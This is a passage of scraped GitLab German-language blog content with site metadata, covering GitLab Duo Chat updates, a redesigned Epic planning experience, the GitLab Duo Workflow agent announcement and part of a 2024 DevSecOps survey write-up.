Chat behält die letzten 50 Nachrichten im Chat-Verlauf bei. Dieser Verlauf läuft drei Tage nach der letzten Verwendung ab. Wenn du deinen Browser oder deine IDE schließt, wird dein Chat-Verlauf innerhalb dieses Zeitraums nicht dauerhaft gelöscht. Bitte beachte jedoch, dass die langfristige Speicherung von Chat-Daten derzeit nicht unterstützt wird.\n\n## Abbruch von Prompts: Antworten bei Bedarf stoppen\n\nEine der am sehnlichsten erwarteten Funktionen ist jetzt verfügbar: [der Abbruch von Prompts](https://gitlab.com/groups/gitlab-org/-/epics/13662). Benutzer(innen) können jetzt laufende Prompts im Chat auf GitLab.com abbrechen und haben so [mehr Kontrolle über ihre Interaktionen](https://gitlab.com/gitlab-org/gitlab/-/issues/458397).- Jetzt verfügbar: Diese Funktion wurde auf GitLab.com eingeführt.\n- Demnächst verfügbar: Diese Funktion wird in unserer nächsten Version für selbstverwaltete Instanzen verfügbar sein. Benutzer(innen) von GitLab Dedicated erhalten sie im monatlichen Upgrade.\n- Offen: [Integration für Editor-Erweiterungen](https://docs.gitlab.com/ee/editor_extensions/) – [folge den Neuheiten im Ticket](https://gitlab.com/gitlab-org/editor-extensions/gitlab-jetbrains-plugin/-/issues/335).\n\nMit dieser Erweiterung kannst du eine Antwort stoppen, wenn du einen Prompt zu früh gesendet hast oder während des Wartens eine Änderung vorgenommen hast. Es ist eine kleine, aber leistungsstarke Funktion, die dir Zeit und Frust sparen kann.\n\nUm einen Prompt im GitLab Duo Chat abzubrechen, gehe wie folgt vor:\n1. Öffne den GitLab Duo Chat auf GitLab.com.\n2. Gib einen Prompt oder eine Frage ein, z. B. `What is this issue about?`.\n\n![Bildschirm mit dem Abbruch von Prompts im GitLab Duo Chat](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098382/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750098382108.png)\n\n3. Wenn du nach dem Senden des Prompts die Antwort abbrechen möchtest, suche nach der neuen Schaltfläche „Abbrechen“, die angezeigt wird, während der Chat eine Antwort generiert.\n\n![Screenshot der Schaltfläche „Abbrechen“ im Chat](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098382/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750098382110.png)\n\n4. Klicke auf die Schaltfläche „Abbrechen“, um die Antwortgenerierung sofort zu stoppen.\n\n![Screenshot zeigt, dass die Antwort abgebrochen wurde](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098382/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098382112.png)\n\n## Architekturverbesserungen\n\nHinter den Kulissen haben wir an Architekturverbesserungen gearbeitet, um den GitLab Duo Chat robuster und effizienter zu machen:\n\n- Umstieg auf das Language Server Protocol ([LSP](https://gitlab.com/gitlab-org/editor-extensions/gitlab-lsp)): Dadurch wird die Integration des Chats in verschiedene Entwicklungsumgebungen verbessert. \n- GitLab Language Server ist ein experimentelles TypeScript-Projekt, das eine gemeinsame Schnittstelle für IDE-Erweiterungen zum Erstellen von GitLab-Funktionen bietet. Es unterstützt derzeit Codevorschläge für GitLab Duo und wird in Kürze auch GitLab Duo Chat unterstützen.\n\nObwohl diese Änderung hauptsächlich die zugrunde liegende Architektur betrifft, bemerken Benutzer(innen) vielleicht Folgendes:\n- Verbesserte Reaktion und Leistung bei der Nutzung des Chats in verschiedenen IDEs und Editoren.\n- Konsistenteres Verhalten der Chat-Funktionen in verschiedenen Entwicklungsumgebungen.\n- Verbesserte Möglichkeit, in Zukunft neue Funktionen und Verbesserungen hinzuzufügen.\n\nSieh dir in diesem Video eine Einführung dazu an, wie GitLab Language Server Codevorschläge ermöglicht:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/VQlWz6GZhrs?si=_G5mOyYqEGAmnRv4\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Wie geht es weiter?\n\nWir arbeiten kontinuierlich daran, GitLab Duo Chat zu verbessern. Hier sind einige Highlights:\n\n- Wir sind dabei, unsere KI-Funktionen auf [Claude 3.5 Sonnet](https://gitlab.com/gitlab-org/gitlab/-/issues/468334) zu migrieren. Dieses Upgrade bringt eine verbesserte Leistung und Funktionen für den Chat und andere KI-gestützte Funktionen.\n- Wir arbeiten aktiv daran, dass der [Chat auch mit benutzerdefinierten, selbst gehosteten Modellen funktioniert](https://gitlab.com/groups/gitlab-org/-/epics/13760). Dadurch können Unternehmen ihre eigenen KI-Modelle mit dem Chat nutzen und haben so mehr Kontrolle über die Wissensdatenbank der KI. Außerdem wird die Leistung bei domain-spezifischen Aufgaben potenziell verbessert.\n- Wir sind derzeit dabei, die [Synchronisierung von Nachrichten über alle Clients hinweg](https://gitlab.com/gitlab-org/gitlab/-/issues/418760), einschließlich WebUI, abzuschließen, um eine nahtlose Kommunikation zu gewährleisten und alle deine Clients synchron zu halten und so deine Zusammenarbeit zu verbessern.\n- Wir [migrieren die Funktion „Kommentare zusammenfassen“ in den Chat](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/156650). Du kannst mehrere Kommentare direkt im Chat zu einem Ticket zusammenfassen, um die wichtigsten Punkte und Erkenntnisse aus Diskussionen schnell zu verstehen und so deine Zusammenarbeit zu verbessern.\n\nWir freuen uns auf [dein Feedback zu diesen Verbesserungen](https://gitlab.com/gitlab-org/gitlab/-/issues/430124). Bleib dran, während wir GitLab Duo Chat weiterentwickeln.\n\n> Erfahre in unserer laufenden Serie noch mehr darüber, [wie wir GitLab Duo entwickeln](https://about.gitlab.com/blog/developing-gitlab-duo-series/).\n",[679,745,680],{"slug":3068,"featured":92,"template":682},"developing-gitlab-duo-a-roundup-of-recent-chat-enhancements","content:de-de:blog:developing-gitlab-duo-a-roundup-of-recent-chat-enhancements.yml","Developing Gitlab Duo A Roundup Of Recent Chat Enhancements","de-de/blog/developing-gitlab-duo-a-roundup-of-recent-chat-enhancements.yml","de-de/blog/developing-gitlab-duo-a-roundup-of-recent-chat-enhancements",{"_path":3074,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3075,"content":3081,"config":3086,"_id":3088,"_type":16,"title":3089,"_source":17,"_file":3090,"_stem":3091,"_extension":20},"/de-de/blog/unveiling-a-new-epic-experience-for-improved-agile-planning",{"title":3076,"description":3077,"ogTitle":3076,"ogDescription":3077,"noIndex":6,"ogImage":3078,"ogUrl":3079,"ogSiteName":1396,"ogType":1397,"canonicalUrls":3079,"schema":3080},"Wir stellen euch die neue Epic-Erfahrung für verbessertes Agile Planning vor","Ein Update für GitLab Epics, mit dem die Planung verbessert wird und deine Workflows optimiert werden durch nahtlose Migration, die ein besseres Projektmanagement ermöglicht.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749660011/Blog/Hero%20Images/blog-image-template-1800x945__21_.png","https://about.gitlab.com/blog/unveiling-a-new-epic-experience-for-improved-agile-planning","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Wir stellen euch die neue Epic-Erfahrung für verbessertes Agile Planning vor\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Amanda Rueda\"}],\n        \"datePublished\": \"2024-07-03\",\n      }",{"title":3076,"description":3077,"authors":3082,"heroImage":3078,"date":3083,"body":3084,"category":976,"tags":3085,"updatedDate":2943},[1812],"2024-07-03","Auf unserem kontinuierlichen Weg zu besserem Agile Planning in GitLab haben wir [kürzlich einen neuen Look vorgestellt](https://about.gitlab.com/blog/first-look-the-new-agile-planning-experience-in-gitlab/) (englischsprachiger Artikel). Dieses Update ist ein wichtiger Schritt hin zu einem vereinheitlichten, flexiblen Planungstool, das an deine Bedürfnisse angepasst ist. In diesem Artikel sehen wir uns einen entscheidenden Teil der Initiative an: die neue Epic-Erfahrung. \n\nDu erfährst mehr über die demnächst verfügbaren Funktionen von Epics und die Motivation hinter diesen Änderungen, die deine Projektmanagement-Möglichkeiten erweitern sollen.\n\n## Warum die neue Epic-Erfahrung?\n\n### Reaktion auf Feedback von Benutzer(innen)\nIm Rahmen unserer Mission, ein umfassendes Erlebnis für Agile Planning zu bieten, haben wir uns euer Feedback genau angehört. Benutzer(innen) haben von Schwierigkeiten mit der aktuellen Epic-Implementierung berichtet, wie zum Beispiel inkonsistente Funktionen zwischen Epics und Tickets sowie fehlende Flexibilität für unterschiedliche Workflows. Einige Probleme betrafen Workflow-Tools, wie zum Beispiel fehlende Beauftragte bei Epics, sowie fehlende wiederverwendbare Vorlagen. Die neue Epic-Erfahrung soll diese Probleme beheben und das Agile Planning intuitiver und effizienter machen.\n\n### Vereinheitlichtes Workitem-Framework\nUm diese Probleme zu beheben, haben wir ein vereinheitlichtes Workitem-Framework eingeführt. Diese neue Architektur garantiert Konsistenz übergreifend über alle Planungsobjekte – Epics, Tickets und Aufgaben – und vereinfacht so das Benutzererlebnis, während gleichzeitig die Funktionalität verbessert wird. Durch die Konsolidierung des zugrundeliegenden Codes können wir neue Funktionen und Verbesserungen schneller bereitstellen und ermöglichen so einen reibungsloseren, zuverlässigeren Planungsprozess.\n\n> Erfahre mehr darüber, [was dich mit Agile Planning von GitLab erwartet](https://about.gitlab.com/blog/first-look-the-new-agile-planning-experience-in-gitlab/) (englischsprachiger Artikel).\n\n## Hauptfunktionen der neuen Epic-Erfahrung\n\n### Erweiterte Detailseite\nEine der gravierendsten Änderungen ist die überarbeitete Epic-Detailseite. Das neue Design überzeugt durch eine klarere, intuitivere Oberfläche, mit denen du deine Epics einfacher verwalten und nachverfolgen kannst.\n\nDas sind einige der wichtigsten neuen Funktionen:\n* **Beauftragte** - weise Teammitgliedern Epics zu und verbessere so die Verantwortlichkeit und den Überblick.\n* **Integritätsprobleme** - bewerte den Status deiner Epics rasch mit den neuen Zustandsindikatoren.\n* **Zeiterfassung** - ermögliche einen transparenten Überblick über die aufgewendete Zeit und stelle sicher, dass Ressourcen in den Projekten effizient eingesetzt werden.\n* **Verlauf** - sieh dir den gesamten Verlauf des Epics an.\n* **Kurzbeschreibung** - sieh dir Beschreibungen von langen Workitems einfach an, ohne ewig scrollen zu müssen. Beschreibungen werden standardmäßig abgeschnitten und können über den Link „Mehr anzeigen“ als Volltext angezeigt werden. Dadurch wird dein Workflow optimiert, denn nun kannst du Beschreibungen rasch überfliegen und nur bei Bedarf den gesamten Text anzeigen. So vermeidest du unnötigen Text und die Lesbarkeit wird verbessert.\n* **Benutzerdefinierte Farbe** - passe die Farbe von Epics, die in der Roadmap angesehen werden, an, indem du benutzerdefinierte Farben festlegst. Du kannst dabei HEX- oder RGB-Codes nutzen oder aus einer erweiterten, vordefinierten Palette wählen.\n\n![Screenshot der neuen Epic-Erfahrung](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674437/Blog/Content%20Images/Screenshot_2024-07-10_at_4.22.45_p.m..png)\n\n### Konsistenz über Planungsobjekte hinweg\nDie neue Epic-Erfahrung gleicht sehr der neuen Ticket-Erfahrung, die demnächst verfügbar sein wird (Achtung, Spoiler!) sowie den Aufgaben. So erwartet die Benutzer(innen) ein nahtloses, kohärentes Erlebnis. Durch diese Konsistenz können Workflows optimiert und die Lernkurve für neue Benutzer(innen) abgeflacht werden.\n\n### Zusätzliche Funktionen\nWir planen, iterativ spannende neue Funktionen hinzuzufügen, die deine Planung verbessern. Unser Ziel ist es, dir die Möglichkeit zu geben, Planungsprozesse mit GitLab so anzupassen, dass sie perfekt zu den einzigartigen Anforderungen deines Unternehmens passen. Sobald wir die neue Epic-Erfahrung veröffentlicht haben, kannst du dich mit jeder Release auf weitere Funktionen freuen! Und davon gibt es viele – hier ist ein kleiner Auszug unserer Favoriten:\n- [Vorlagen](https://gitlab.com/gitlab-org/gitlab/-/issues/428690)\n- [Benutzerdefinierte Felder](https://gitlab.com/groups/gitlab-org/-/epics/235)\n- [Konfigurierbare Status](https://gitlab.com/groups/gitlab-org/-/epics/5099)\n- [Epics auf Projektebene](https://gitlab.com/gitlab-org/gitlab/-/issues/31840)\n- [Klonen](https://gitlab.com/gitlab-org/gitlab/-/issues/339768)\n- [Verschieben in eine andere Gruppe/ein anderes Projekt](https://gitlab.com/gitlab-org/gitlab/-/issues/339766)\n- [Meilensteine](https://gitlab.com/groups/gitlab-org/-/epics/329)\n\n## Erwartungen an die Migration\nWir wissen, dass Änderungen disruptiv sein können. Daher haben wir die Migration zur neuen Epic-Erfahrung so nahtlos wie möglich gemacht. Alle vorhandenen Epic-Daten, APIs und URLs werden weiterhin wie erwartet funktionieren. Benutzer(innen) müssen für den Umstieg nichts tun. Unsere Self-Managed-Kund(inn)en können sich eine Vorschau des neuen Erlebnisses schon vor der allgemeinen Verfügbarkeit [hier](https://docs.gitlab.com/ee/user/group/epics/epic_work_items.html) in einer Testumgebung ansehen.\n\n## Feedback und Engagement der Community\nWir schätzen eure Beiträge und ermutigen euch, eure Erfahrungen mit der neuen Epic-Erfahrung zu teilen. Euer Feedback ist unerlässlich, um unsere Tools weiter zu verbessern. In unserem [Feedback-Ticket](https://gitlab.com/gitlab-org/gitlab/-/issues/463598) könnt ihr uns eure Gedanken und Vorschläge mitteilen.\n\n## Wie geht es weiter?\nDie neue Epic-Erfahrung in GitLab ist ein bedeutender Schritt für das Agile Planning. Mit erweiterten Funktionen, verbesserter Konsistenz und einem benutzerzentrierten Ansatz sind wir überzeugt, dass diese Änderungen deine Projektmanagementprozesse signifikant verbessern werden. Probier die neuen Funktionen aus und teile uns mit, was dir gefällt. Bleib auf dem Laufenden, denn wir arbeiten weiter an Innovationen und Verbesserungen.\n\n> [Setze ein Lesezeichen auf diese Seite](https://about.gitlab.com/de-de/blog/categories/agile-planning/), um über unsere Neuigkeiten zum Agile Planning auf dem Laufenden zu bleiben.",[973,746,745,680,974],{"slug":3087,"featured":6,"template":682},"unveiling-a-new-epic-experience-for-improved-agile-planning","content:de-de:blog:unveiling-a-new-epic-experience-for-improved-agile-planning.yml","Unveiling A New Epic Experience For Improved Agile Planning","de-de/blog/unveiling-a-new-epic-experience-for-improved-agile-planning.yml","de-de/blog/unveiling-a-new-epic-experience-for-improved-agile-planning",{"_path":3093,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3094,"content":3099,"config":3105,"_id":3107,"_type":16,"title":3108,"_source":17,"_file":3109,"_stem":3110,"_extension":20},"/de-de/blog/meet-gitlab-duo-workflow-the-future-of-ai-driven-development",{"ogTitle":3095,"schema":3096,"ogImage":1606,"ogDescription":3097,"ogSiteName":1396,"noIndex":6,"ogType":1397,"ogUrl":3098,"title":3095,"canonicalUrls":3098,"description":3097},"GitLab Duo – die Zukunft der KI-gestützten Entwicklung","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Lerne GitLab Duo Workflow kennen – die Zukunft der KI-gestützten Entwicklung\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"David DeSanto, Chief Product Officer, GitLab\"}],\n        \"datePublished\": \"2024-06-27\",\n      }\n                  ","Workflow, unser autonomer KI-Agent, wird die Art und Weise verändern mit der Teams Software entwickeln und ausliefern – unser erster kühner Schritt in Richtung KI-gestützte DevSecOps.","https://about.gitlab.com/blog/meet-gitlab-duo-workflow-the-future-of-ai-driven-development",{"title":3100,"description":3097,"authors":3101,"heroImage":1606,"date":3102,"body":3103,"category":677,"tags":3104},"Lerne GitLab Duo Workflow kennen – die Zukunft der KI-gestützten Entwicklung",[1592],"2024-06-27","Stell dir vor, Software würde sich selbst schreiben. Das hört sich jetzt zunächst einmal nach Zukunftsmusik an, aber mit den kontinuierlichen Fortschritten bei LLMs und den Neuerungen, die GitLab in einer einzigen DevSecOps Plattform zusammen gefasst hat, rückt diese Zukunft in greifbare Nähe. Während unseres [GitLab 17 Launch-Event](https://about.gitlab.com/de-de/seventeen/) haben wir GitLab Duo Workflow angekündigt, einen autonomen KI-Agenten, der die Art und Weise verändern wird, wie Teams Software entwickeln, sichern, bereitstellen und überwachen.\n\nGitLab Duo Workflow geht über die derzeitigen reaktiven, prompt-basierten KI-Assistenten hinaus. Es ist ein autonomes Teammitglied, das aktiv dazu beiträgt, jeden Aspekt deines SDLC zu optimieren. Workflow zeichnet sich durch die Nutzung des einheitlichen Datenspeichers von GitLab aus, der alle relevanten Daten, Projekte, Repositories und Dokumentationen nahtlos miteinander verknüpft. Dadurch wird Workflow zu einem intelligenten, immer verfügbaren Agenten, der deine Projekte ständig überwacht, potenzielle Probleme in der Produktivumgebung vorhersieht, Sicherheitslücken automatisch identifiziert und behebt, deine Anwendungen für Spitzenleistungen optimiert und die Einarbeitung neuer Teammitglieder durch den schnellen Aufbau individueller Remote-Entwicklungsumgebungen vereinfacht.\n\nKI verändert wie sichere Software erstellt, gepflegt, aktualisiert, bereitgestellt und überwacht wird, und ermöglicht es Unternehmen, mehr Software als je zuvor zu entwickeln. GitLab Duo Workflow ist unser erster mutiger Schritt in Richtung KI-gestützter DevSecOps. Unser Ziel ist es, Entwickler(innen) dazu zu befähigen, sich auf Problemlösungen, Innovationen und Wertschöpfung auf höchster Ebene zu konzentrieren, während [GitLab Duo](https://about.gitlab.com/de-de/gitlab-duo/) repetitive Aufgaben und Optimierungen im Hintergrund erledigt.\n\n## Die Vision für GitLab Duo Workflow\nMit GitLab Duo Workflow arbeiten wir hochkonzentriert an mehreren wichtigen Anwendungsfällen, um den Prozess der Softwareentwicklung von Anfang bis Ende zu automatisieren und zu optimieren.\n### 1. Automatisierte Entwicklung\n\nDirekt in der IDE ermöglicht GitLab Duo Workflow die Planung und Priorisierung von Aufgaben, die auf einzelne Projekte und definierte Unternehmensprozesse zugeschnitten sind. Anhand der Anforderungen eines bestimmten Workitems (sei es ein Epic, ein Issue oder ein Task) erstellt Workflow einen Implementierungsplan, den die Entwickler(innen) überprüfen und individuell anpassen können. Dann arbeitet sich Workflow durch den Plan und generiert oder schreibt den Code um, um die definierten Anforderungen zu erreichen und zu erfüllen. Workflow bedient sich bei der Umsetzung eines [GitLab Remote Development Workspaces](https://about.gitlab.com/blog/quick-start-guide-for-gitlab-workspaces/), der es ermöglicht, Codeänderungen sicher zu bewerten, zu schreiben und zu testen. Das bedeutet auch, dass genau der Code produziert wird, der sowohl die Anforderungen erfüllt als auch alle Tests der CI-Pipeline, einschließlich Sicherheitsscans, besteht. Wenn die Pipeline fehlschlägt, kümmert sich Workflow automatisch um die Behebung der Probleme und stellt sicher, dass nur qualitativ hochwertiger Code, der den Standards deines Unternehmens entspricht, erstellt und für deine Projekte verwendet wird.\n\nSobald die Pipeline fertig ist, erstellt Workflow automatisch einen Merge Request mit den Codeänderungen und durchläuft die Approvalprozesse für Merge Requests, einschließlich der Kommunikation mit Code-Prüfer(inne)n oder -Verantwortlichen. Du kannst Workflow sogar damit beauftragen, deinen Code zu überprüfen und deine Merge Requests zu kommentieren, so wie es auch menschliche Code-Prüfer(innen) tun würden. Das Beste ist, dass Workflow diese Vorschläge sogar für dich umsetzt, wenn du das möchtest. Und das ist erst der Anfang.\n\n### 2. Intelligente kontinuierliche Verbesserung\nGitLab Duo Workflow analysiert deine Codebase in Echtzeit und schlägt dir architektonische Optimierungen für mehr Effizienz, Leistung und Kosteneinsparungen vor. Außerdem identifiziert es proaktiv Möglichkeiten für Code-Refactoring, um die Skalierbarkeit zu verbessern und technical debt zu beseitigen, indem es den Entwickler(inne)n Änderungen vorschlägt oder sie automatisch in einer Sandbox-Umgebung implementiert. Darüber hinaus verwaltet Workflow die Cloud-Ressourcen dynamisch, um eine Überbelegung zu verhindern und sicherzustellen, dass deine Anwendungen stets ihre Leistungsziele erreichen.\n\n### 3. Proaktive Sicherheit und Konformität\nSicherheit und Compliance Konformität sind für jedes Unternehmen von höchster Priorität. GitLab Duo Workflow fordert Entwickler(innen) automatisch und in Echtzeit auf, Patches anzuwenden, unsicheren Code zu überarbeiten und sich an neue Bedrohungen anzupassen. Es bewertet außerdem kontinuierlich die Sicherheitsrisiken deiner Anwendungen und Produktionsumgebungen und unterstützt dich bei der Implementierung von Maßnahmen zur Risikominderung.\n\n### 4. Selbstoptimierende Leistung\nGitLab Duo Workflow verfügt über ausgeklügelte Feedbackschleifen für kontinuierliches Lernen und Verbesserung. Durch die Analyse von Daten aus Überwachungstools, Benutzerinteraktionen und Geschäftsergebnissen wird die Sicht auf deine Codebase kontinuierlich verbessert, um sicherzustellen, dass deine Anwendungsarchitekturen immer auf deine Geschäftsanforderungen abgestimmt sind. Wie alle KI-Systeme wird sich auch Workflow ständig verbessern, indem es seine eigenen Fehler erkennt und korrigiert, während es lernt, ein Partner für dein Unternehmen zu sein.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://player.vimeo.com/video/967982166?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allowfullscreen=\"true\" title=\"GitLab Duo Workflow the future of AI-driven DevSecOps\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Die Zukunft der KI ist jetzt\nGitLab Duo Workflow ist ein großer Schritt nach vorn: weg von der KI, die ständig von Menschen gesteuert werden muss, hin zu einer KI, die eigenständig Entwicklungsworkflows und -prozesse vorantreibt und bei Bedarf menschliche Hilfe in Anspruch nimmt. Mit der einheitlichen, KI-gestützten Schnittstelle von GitLab, die den DevSecOps-Lebenszyklus abdeckt, können Unternehmen eine neue Generation von KI-gestützten Anwendungen mit beispielloser Geschwindigkeit, Effizienz und Innovation erstellen und dabei die höchsten Sicherheits- und Compliance-Standards einhalten. Ohne Kompromisse.\n\nBegleite uns, während wir die Grenzen dessen, was mit KI in der Softwareentwicklung möglich ist, immer weiter verschieben. Lasst uns gemeinsam die Zukunft der KI-gestützten DevSecOps angehen und das volle Potenzial eurer Teams und Unternehmen ausschöpfen.\n\n> Wenn du neugierig auf KI-gestützte DevSecOps bist und diese Entwicklung miterleben möchtest, [melde dich für unsere GitLab Duo Workflow-Warteliste an](https://forms.gle/5ppRuNVb8LwSPNVJA) und erhalte Zugang zum Pre-Release-Programm.",[679,746,787,723,974],{"slug":3106,"featured":92,"template":682},"meet-gitlab-duo-workflow-the-future-of-ai-driven-development","content:de-de:blog:meet-gitlab-duo-workflow-the-future-of-ai-driven-development.yml","Meet Gitlab Duo Workflow The Future Of Ai Driven Development","de-de/blog/meet-gitlab-duo-workflow-the-future-of-ai-driven-development.yml","de-de/blog/meet-gitlab-duo-workflow-the-future-of-ai-driven-development",{"_path":3112,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3113,"content":3119,"config":3125,"_id":3127,"_type":16,"title":3128,"_source":17,"_file":3129,"_stem":3130,"_extension":20},"/de-de/blog/3-surprising-findings-from-our-2024-global-devsecops-survey",{"title":3114,"description":3115,"ogTitle":3114,"ogDescription":3115,"noIndex":6,"ogImage":3116,"ogUrl":3117,"ogSiteName":1396,"ogType":1397,"canonicalUrls":3117,"schema":3118},"Drei überraschende Ergebnisse unserer Globalen DevSecOps-Umfrage 2024","Unsere Umfrage in diesem Jahr hat gezeigt, dass sich die Investitionsprioritäten der Unternehmen im Schatten der KI verändert haben – und wie KI die Arbeitsweise von Teams beeinflusst.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1751993603/Blog/Hero%20Images/fy25-global-devsecops-report-blog-image.png","https://about.gitlab.com/blog/3-surprising-findings-from-our-2024-global-devsecops-survey","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Drei überraschende Ergebnisse unserer Globalen DevSecOps-Umfrage 2024\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dave Steer\"}],\n        \"datePublished\": \"2024-06-25\",\n      }\n                  ",{"title":3114,"description":3115,"authors":3120,"heroImage":3116,"date":3121,"body":3122,"category":2558,"tags":3123},[1467],"2024-06-25","Die diesjährige [Umfrage unter mehr als 5.000 DevSecOps-Fachleuten weltweit](https://about.gitlab.com/de-de/developer-survey/) zeigt, dass Unternehmen mit der Einführung neuer Technologien wie KI ihre Investitionsprioritäten neu bewerten und kritischer prüfen, wie sie das Entwicklererlebnis verbessern können. Wir werfen einen Blick auf drei der überraschendsten Ergebnisse der aktuellen Umfrage und was sie für Softwareentwicklungs-, Betriebs- und Sicherheitsteams im Jahr 2024 und darüber hinaus bedeuten könnten.\n\n## 1. KI deckt umständliche Toolchains auf\n\nIn diesem Jahr haben wir uns besonders damit beschäftigt, wie sich KI auf die Einstellung von DevSecOps-Teams zu ihren bestehenden Toolchains auswirken könnte. Die Ergebnisse waren etwas überraschend. Wir wissen, dass KI Teams helfen kann, die Softwareentwicklung zu vereinfachen, aber unsere Umfrage hat gezeigt, dass die Befragten, die derzeit KI einsetzen, mit ihren Toolchains möglicherweise weniger zufrieden sind als diejenigen, die keine KI einsetzen.\n\nFast drei Viertel (74 %) der Befragten, deren Unternehmen derzeit KI für die Softwareentwicklung einsetzen, gaben an, dass sie ihre Toolchain konsolidieren möchten, verglichen mit 57 % derjenigen, die keine KI einsetzen. Allerdings gab es hinsichtlich der Anzahl der Tools, die die Befragten laut ihren Angaben verwenden, keinen signifikanten Unterschied zwischen den beiden Gruppen. Mit anderen Worten: Die Befragten, die derzeit KI einsetzen, verwenden nicht mehr Tools, haben aber dennoch ein stärkeres Bedürfnis, ihre Toolchain zu konsolidieren.\n\nWarum könnte der Einsatz von KI den Wunsch nach Konsolidierung beschleunigen? Eine mögliche Erklärung könnte sein, dass verschiedene punktuelle Lösungen mit unterschiedlichen KI-Modellen ein unüberschaubares (und nicht messbares) Chaos im Lebenszyklus der Softwareentwicklung verursachen – und das wirft ein neues Licht auf die ohnehin schon schwerfälligen und kontraproduktiven Toolchains der Unternehmen. Je mehr Unternehmen in KI investieren, desto größer wird die Notwendigkeit, die Effizienz durch die Konsolidierung und Vereinfachung der ausufernden Toolchain zu verbessern. Teams profitieren mehr von KI, wenn die Toolchains kleiner sind, da so die Integration von KI in den gesamten Lebenszyklus der Softwareentwicklung einfacher ist.\n\nEin(e) Umfrageteilnehmer(in) nannte „zu viele Tools (einschließlich KI-Tools) und Kontextwechsel“ als die größten Herausforderungen bei der Softwareentwicklung im Jahr 2024, während ein(e) andere(r) auf die „Komplexität der fragmentierten Landschaft von Tools in allen Bereichen“ verwies. \n\nEin(e) weitere(r) Befragte(r) betonte die Möglichkeiten, die KI bietet, um Teams bei der Bewältigung von Herausforderungen in der Toolchain zu unterstützen: „KI entwickelt sich rasant, und unsere aktuelle Toolchain kann durch KI-Integrationen massiv verbessert werden. Wir müssen Teammitglieder besser schulen, damit sie wissen, wie sie KI effektiv in ihrer täglichen Arbeit einsetzen können.“\n\n## 2. KI beschleunigt das Onboarding von Entwickler(inne)n – aber Unternehmen haben immer noch Bedenken\n\nNeben der steigenden Anzahl von Tools, die Teams nutzen, haben wir in der diesjährigen Umfrage auch einen deutlichen Anstieg der Einarbeitungszeiten für Entwickler(innen) festgestellt. 2024 gaben 70 % der Befragten an, dass Entwickler(innen) in ihrem Unternehmen für die Einarbeitung und die Aufnahme der Arbeit mehr als einen Monat benötigen. 2023 waren es noch 66 %.\n\nEs ist zwar nicht überraschend, dass KI-gestützte [Chat-Assistenten](https://about.gitlab.com/blog/gitlab-duo-chat-now-generally-available/) und [Codevorschläge](https://about.gitlab.com/blog/top-tips-for-efficient-ai-powered-code-suggestions-with-gitlab-duo/) Entwickler(inne)n helfen können, sich schneller einzuarbeiten, aber der Effekt, den wir in unserer Umfrage beobachtet haben, war dramatisch: Die Befragten, die KI für die Softwareentwicklung nutzen, gaben viel häufiger an, dass das Onboarding von Entwickler(inne)n in der Regel weniger als einen Monat dauert. \n\nTrotz der eindeutigen Vorteile, die KI für Entwickler(innen) bietet, äußerten die Befragten einige Bedenken hinsichtlich ihrer schnellen Einführung. Mehr als die Hälfte (55 %) der Befragten gab an, dass die Einführung von KI in den Lebenszyklus der Softwareentwicklung riskant ist, und 49 % befürchten, dass KI sie in ihrer derzeitigen Rolle innerhalb der nächsten fünf Jahre ersetzen wird.\n\nRachel Stephens, leitende Analystin beim Branchenanalysten RedMonk, teilte ihre Sicht auf diese Ergebnisse: „Es gibt eine Komponente der psychologischen Sicherheit und der Teamkultur, die sich darauf auswirkt, wie Menschen über KI denken. Die Menschen sind vielleicht besorgt über die Auswirkungen von KI auf die Sicherheit oder den Datenschutz, aber ihr Gefühl der Unvorbereitetheit kann auch von dem Gefühl herrühren, dass KI ein persönliches Risiko für ihren Lebensunterhalt darstellt.“\n\nUnserer Meinung nach liegt der Wert der KI in ihrer Fähigkeit, sich wiederholende Aufgaben und Optimierungen im Hintergrund zu automatisieren, so dass sich die Teams auf anspruchsvolle Problemlösungen, Innovationen und Wertschöpfung konzentrieren können. Es geht darum, das menschliche Element der Softwareentwicklung zu ergänzen – nicht zu ersetzen. Ein(e) Umfrageteilnehmer(in) fasste dies wie folgt zusammen: „Kreativität zu fördern und zu erhalten, während wir uns auf KI stützen, ist eine Herausforderung, der wir uns stellen müssen. Wir dürfen nicht vergessen, dass KI nur ein Werkzeug ist, das kreative Menschen nutzen, um alles auszublenden, was die Produktivität beeinträchtigen würde. Sie ersetzt nicht die menschliche Kreativität.“\n\n## 3. Die Cloud wird zum Grundpfeiler\n\nIn unserer Umfrage wurde Cloud Computing in den letzten Jahren immer wieder als eine der wichtigsten IT-Investitionsprioritäten genannt. 2022 lag Cloud Computing nach Sicherheit auf Platz zwei und 2023 auf Platz eins. Das ist nicht überraschend, wenn man bedenkt, dass der Druck auf die Unternehmen wächst, sich einer [digitalen Transformation](https://about.gitlab.com/blog/lockheed-martin-aws-gitlab/) zu unterziehen.\n\nIm Jahr 2024 ging die Bedeutung von Cloud Computing jedoch stark zurück und es landete nur noch auf Platz fünf. 